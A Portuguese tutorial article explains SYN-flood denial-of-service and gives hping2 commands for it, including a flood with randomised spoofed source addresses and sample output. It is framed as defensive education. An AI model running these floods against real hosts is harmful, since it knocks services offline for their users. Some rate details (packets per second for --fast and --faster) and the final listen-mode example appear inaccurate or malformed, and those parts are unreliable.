Resumo
Nesse artigo entenderemos uma das grandes dificuldades dos administradores de rede de computadores, que são as tentativas de acessos indevidos ou ataques investidos na rede. O interesse aqui é mostrar que a melhor defesa se faz quando se conhece a natureza do ataque.
Foi utilizada a distribuição 
Linux Debian 4 com o kernel versão 2.6.2x para testes e exemplos usados para o desenvolvimento desse artigo. 
Introdução
O 
HPING é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor, ou seja, three-way handshake. As mensagens servidor/cliente são trocadas em 3 vias. 
O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a conexão está estabelecida. 
Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. 	Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP. 
O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN apilha de memória sofre um estouro e todas as requisições são desprezadas. 
Exemplos de ataque
Exemplo  1:
A sintaxe do comando é a seguinte:
$ hping2  <host da vítima> <parâmetros>
# hping2  23.23.23.2 -p 80 -S -c 3
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes 
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=32792 rtt=0.2 ms 
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=32792 rtt=0.1 ms 
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=32792 rtt=0.1 ms 
Nesta linha disparamos: -p 80 -c 3 (-p aponta a porta de envio dos pacotes e  -c --count count seta a quantidade de pacotes). Desta maneira podemos avaliar as respostas do alvo.
Exemplo 2:
# hping2 23.23.23.2 -p 80 -S --faster --rand-source 
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes 
Nesta linha disparamos: -p 80 -S --fast --rand-source (-S setamos a flag como syn, --fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; --rand-source habilita o modo radom e troca o ip de origem dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips diferentes a cada pacote enviado. Até o momento em que este alvo não poderá responder todas as requisições e o kernel negará o serviço. 
Obs.: CUIDADO com o teste utilizando esta linha, pois o host de destino não irá responder caso a segurança necessária não esteja implementada.

Etherape no momento da simulação do Ataque
Exemplo 3:
# hping2 23.23.23.2 -p 80 -S --faster --rand-dest 
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes 
Nesta linha disparamos: -p 80 -S --fast --rand-dest (-S setamos a flag como syn, --fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; --rand-dest habilita o modo radom e troca o ip de destino dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips alvos diferentes a cada pacote enviado.  
As flags podem ser setadas das seguintes formas:
 
-  -F --fin -  Seta FIN tcp flag. 
-  -S --syn -Seta SYN tcp flag. 
-  -R --rst - Seta RST tcp flag. 
-  -P --push - Seta PUSH tcp flag. 
-  -A --ack  - Seta ACK tcp flag. 
-  -U --urg - Set URG tcp flag. 
-  -X --xmas - Set Xmas tcp flag. 
Modo de escuta:
 
HPING2 em modo de escuta. Utilizando esta opção o hping aguarda pelo pacote que contém esta assinatura e finaliza o pacote que contém a assinatura. 
Exemplo.: 
# hping2 -9 --listen 234-09sdflkjs45 -TESThello_word